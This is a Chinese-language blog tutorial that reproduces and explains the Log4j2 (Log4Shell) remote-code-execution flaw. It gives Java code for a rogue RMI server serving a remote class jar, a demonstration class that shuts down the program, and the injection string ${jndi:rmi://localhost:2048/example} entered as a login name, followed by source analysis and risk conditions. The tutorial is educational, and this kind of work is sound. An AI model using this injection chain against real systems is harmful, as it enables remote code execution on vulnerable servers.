1 事件背景
經過一周時間的Log4j2 RCE事件的發酵,事情也變也越來越復雜和有趣,就連 Log4j 官方緊急發布了 2.15.0 版本之后沒有過多久,又發宣告說 2.15.0 版本也沒有完全解決問題,然后進而繼續發布了 2.16.0 版本,大家都以為2.16.0是最終終結版本了,沒想到才過多久又爆雷,Log4j 2.17.0橫空出世,

相信各位小伙伴都在加班加點熬夜緊急修復和改正Apache Log4j爆出的安全漏洞,各企業都瑟瑟發抖,連網警都通知各位站長,包括我也收到了湖南長沙高新區網警的通知,

我也緊急發布了兩篇教程,給各位小伙伴支招,我之前發布的教程依然有效,
【緊急】Apache Log4j任意代碼執行漏洞安全風險升級修復教程
【緊急】繼續折騰,Log4j再發2.16.0,強烈建議升級




雖然,各位小伙伴按照教程一步一步操作能快速解決問題,但是很多小伙伴依舊有很多疑惑,不知其所以然,在這里我給大家詳細分析并復現一下Log4j2漏洞產生的原因,純粹是以學習為目的,
Log4j2漏洞總體來說是通過JNDI注入惡意代碼來完成攻擊,具體的操作方式有RMI和LDAP等,
2 JNDI介紹
2.1 JNDI定義
JNDI(Java Naming and Directory Interface,Java命名和目錄介面)是Java中為命名和目錄服務提供介面的API,JNDI主要由兩部分組成:Naming(命名)和Directory(目錄),其中Naming是指將物件通過唯一識別符號系結到一個背景關系Context,同時可通過唯一識別符號查找獲得物件,而Directory主要指將某一物件的屬性系結到Directory的背景關系DirContext中,同時可通過名稱獲取物件的屬性,同時也可以操作屬性,
2.2 JNDI架構
Java應用程式通過JNDI API訪問目錄服務,而JNDI API會呼叫Naming Manager實體化JNDI SPI,然后通過JNDI SPI去操作命名或目錄服務其如LDAP, DNS,RMI等,JNDI內部已實作了對LDAP,DNS, RMI等目錄服務器的操作API,其架構圖如下所示:

2.3 JNDI核心API
| 類名 | 解釋 |
|---|---|
| Context | 命名服務的介面類,由很多的name-to-object的健值對組成,可以通過該介面將健值對系結到該類中,也可通過該類根據name獲取其系結的物件 |
| InitialContextNaming | (命名服務)操作的入口類,通過該類可對命名服務進行相關的操作 |
| DirContext | Directory目錄服務的介面類,該類繼承自Context,在Naming服務的基礎上擴展了對于物件屬性的系結和獲取操作 |
| InitialDirContext | Directory目錄服務相關操作的入口類,通過該類可進行目錄相關服務的操作 |
Java通過JNDI API去呼叫服務,例如,我們大家熟悉的odbc資料連接,就是通過JNDI的方式來呼叫資料源的,以下代碼大家應該很熟悉:
<?xml version="1.0" encoding="UTF-8"?>
<Context>
<Resource name="jndi/person"
auth="Container"
type="javax.sql.DataSource"
username="root"
password="root"
driverClassName="com.mysql.jdbc.Driver"
url="jdbc:mysql://localhost:3306/test"
maxTotal="8"
maxIdle="4"/>
</Context>
在Context.xml檔案中我們可以定義資料庫驅動,url、賬號密碼等關鍵資訊,其中name這個欄位的內容為自定義,下面使用InitialContext物件獲取資料源
Connection conn=null;
PreparedStatement ps = null;
ResultSet rs = null;
try {
Context ctx=new InitialContext();
Object datasourceRef=ctx.lookup("java:comp/env/jndi/person"); //參考資料源
DataSource ds=(Datasource)datasourceRef;
conn = ds.getConnection();
//省略部分代碼
...
c.close();
} catch(Exception e) {
e.printStackTrace();
} finally {
if(conn!=null) {
try {
conn.close();
} catch(SQLException e) { }
}
}
是不是很熟悉呢?JNDI的其他應用在此我就不多做介紹了,如果還不了解JNDI/RMI/LDAP等相關概念的小伙伴請自行百度一下,
3 攻擊原理
下面我以RMI的方式為例,詳細復現步驟和分析原因,解釋基本攻擊原理之前,我們先來看一張時序圖:

1、攻擊者首先發布一個RMI服務,此服務將系結一個參考型別的RMI物件,在參考物件中指定一個遠程的含有惡意代碼的類,例如:包含 system.exit(1) 等類似的危險操作和惡意代碼的下載地址,
2、攻擊者再發布另一個惡意代碼下載服務,此服務可以下載所有含有惡意代碼的類,
3、攻擊者利用Log4j2的漏洞注入RMI呼叫,例如:logger.info("日志資訊 ${jndi:rmi://rmi-service:port/example}"),
4、呼叫RMI后將獲取到參考型別的RMI遠程物件,該物件將就加載惡意代碼并執行,
4 漏洞復現
4.1 創建惡意代碼
創建惡意代碼相關類,以下代碼僅供學習:
package com.tom.example.log4j;
public class HackedClassFactory {
public HackedClassFactory(){
System.out.println("程式即將終止");
System.exit(1);
}
}
創建HackedClassFactory類的定義,在建構式里寫入終止程式運行的惡意代碼,
4.2 發布惡意代碼
將HackedClassFactory類打成jar包,發布到HTTP服務器上,能通過簡單的Get請求正常下載即可,

4.3 創建RMI服務
撰寫如下代碼,并運行程式:
package com.tom.example.rmi;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.util.Hashtable;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
public class HackedRmiService {
public static void main(String[] args) {
try {
int port = 2048; //設定RMI服務遠程監聽埠
//創建并發布RMI服務
LocateRegistry.createRegistry(port);
Hashtable<String, Object> env = new Hashtable<String,Object>();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,"rmi://127.0.0.1" + ":" + port);
Context context = new InitialContext(env);
String serviceName = "example";
String serviceClassName = "com.tom.example.log4j.HackedClassFactory";
//指定惡意代碼的下載地址
Reference refer = new Reference(
serviceName,
serviceClassName,
"http://127.0.0.1/example/classes.jar");
ReferenceWrapper wrapper = new ReferenceWrapper(refer);
//為RMI服務系結一個參考型別的物件,此物件可以被遠程訪問
context.bind(serviceName,wrapper);
}catch (Exception e){
e.printStackTrace();
}
}
}
RMI服務啟動之后,即發布了監聽埠為2048的RMI服務,
運行 netstat -ano | find "2048" 命令檢驗,得到如下結果,說明RMI服務已經正常啟動,如下圖:

4.4 注入惡意代碼
下面我們利用Log4j的漏洞注入惡意代碼,有已知用戶登錄的業務場景,小伙伴們先不管它是如何實作的,其代碼如下:
@RequestMapping(value="https://www.cnblogs.com/login")
public ResponseEntity login(String loginName,String loginPass){
ResultMsg<?> data = https://www.cnblogs.com/gupaoedu-tom/p/memberService.login(loginName,loginPass);
//演示代碼,省略業務邏輯,默認為登錄成功
log.info("登錄成功",loginName);
String json = JSON.toJSONString(data);
return ResponseEntity
.ok()
.contentType(MediaType.APPLICATION_JSON)
.body(json);
}
利用Postman測驗,首先正常訪問能得到期望的結果,如下圖所示:

用戶登錄成功后會正常回傳token,這看上去是一個常規操作,細心的小伙發現,在登錄成功之后,后臺會列印一條日志且輸出登錄的用戶名,

接下來,我做一個非常規操作,將用戶名輸入為 ${jndi:rmi://localhost:2048/example}

我們發現程式已經無法回應,再看后臺日志,已經終止運行,

這里僅僅只是演示效果,我撰寫的惡意代碼只是終止程式,如果攻擊者注入的是其他惡意代碼,那后果將不堪設想,
5 原始碼分析
通過以上案例還原了攻擊者利用Log4j的漏洞對目標程式進行攻擊的完整程序,接下來分析一下Log4j的原始碼從而了解根本原因,其罪魁禍首是Log4j2 的MessagePatternConverter組件中的format()方法,Log4j在記錄日志的時候會間接的呼叫該方法,具體原始碼如下:

從原始碼中我們可以發現該方法會截取 $ 和 { } 之間的字串,將該字符作為查找物件的條件,如果字符是 jndi:rmi 這樣的協議格式則進行JNDI方式的RMI呼叫,從而觸發原生的RMI服務呼叫,具體呼叫位置在StrSubstitutor的substitute()方法:
private int substitute(LogEvent event, StringBuilder buf, int offset, int length, List<String> priorVariables) {
//此處省略部分代碼
...
this.checkCyclicSubstitution(varName, (List)priorVariables);
((List)priorVariables).add(varName);
String varValue = https://www.cnblogs.com/gupaoedu-tom/p/this.resolveVariable(event, varName, buf, startPos, pos);
if (varValue == null) {
varValue = varDefaultValue;
}
//此處省略部分代碼
...
}
上述代碼中的resolveVariable()最侄訓呼叫InitialContext的lookup()方法:
protected String resolveVariable(LogEvent event, String variableName, StringBuilder buf, int startPos, int endPos) {
StrLookup resolver = this.getVariableResolver();
return resolver == null ? null : resolver.lookup(event, variableName);
}
通過斷點除錯,我們確實發現呼叫了RMI服務,下圖所示:

最終惡意代碼通過RMI加載完成以后,會呼叫javax.naming.spi.NamingManager的getObjectFactoryFromReference()方法加載惡意代碼,也就是我們之前寫的com.tom.example.log4j.HackedClassFactory類,首先會在嘗試本地找,如果本地找不到會通過遠程地址加載,也就是我們發布的下載服務,即http://127.0.0.1/example/classes.jar

加載遠程代碼之后,通過反射呼叫構造器創建攻擊類的實體,而惡意代碼撰寫在構造器中,所以在被攻擊者的程式中間接執行了惡意代碼,

看到這里,小伙伴們是不是有種和SQL注入如出一轍的感覺,
5 風險條件
該漏洞需要滿足以下條件才有可能被攻擊:
1、首先使用的是Logj4j2的漏洞版本,即 <= 2.14.1的版本,
2、攻擊者有機會注入惡意代碼,例如系統中記錄的日志資訊沒有任何特殊過濾,
3、攻擊者需要發布RMI遠程服務和惡意代碼下載服務,
4、被攻擊者的網路可以訪問到RMI服務和惡意代碼下載服務,即被攻擊者的服務器可以隨意訪問公網,或者在內網發布過類似的危險服務,
5、被攻擊者在JVM中開啟了RMI/LDAP等協議的truseURLCodebase屬性為ture,
以上就是我對Log4j2 RCE漏洞的完整復現及根本原因分析,當然最高效的方式還是關閉Lookup相關功能,雖然,官方也在緊急修復,但涉及到軟體升級存在一定風險,還有可能需要大量的重復測驗作業,
我在之前緊急發布的教程依然有效,大家可以繼續參照用最高效可靠的方式解決問題,
【緊急】Apache Log4j任意代碼執行漏洞安全風險升級修復教程
【緊急】繼續折騰,Log4j再發2.16.0,強烈建議升級

本文為“Tom彈架構”原創,轉載請注明出處,技術在于分享,我分享我快樂!
如果本文對您有幫助,歡迎關注和點贊;如果您有任何建議也可留言評論或私信,您的支持是我堅持創作的動力,
原創不易,堅持很酷,都看到這里了,小伙伴記得點贊、收藏、在看,一鍵三連加關注!如果你覺得內容太干,可以分享轉發給朋友滋潤滋潤!
轉載請註明出處,本文鏈接:https://www.uj5u.com/houduan/387690.html
標籤:Java
上一篇:Log4j2又爆雷!2.16.0存在DOS風險,升級2.17.0可解決
下一篇:Redis最常用的使用場景
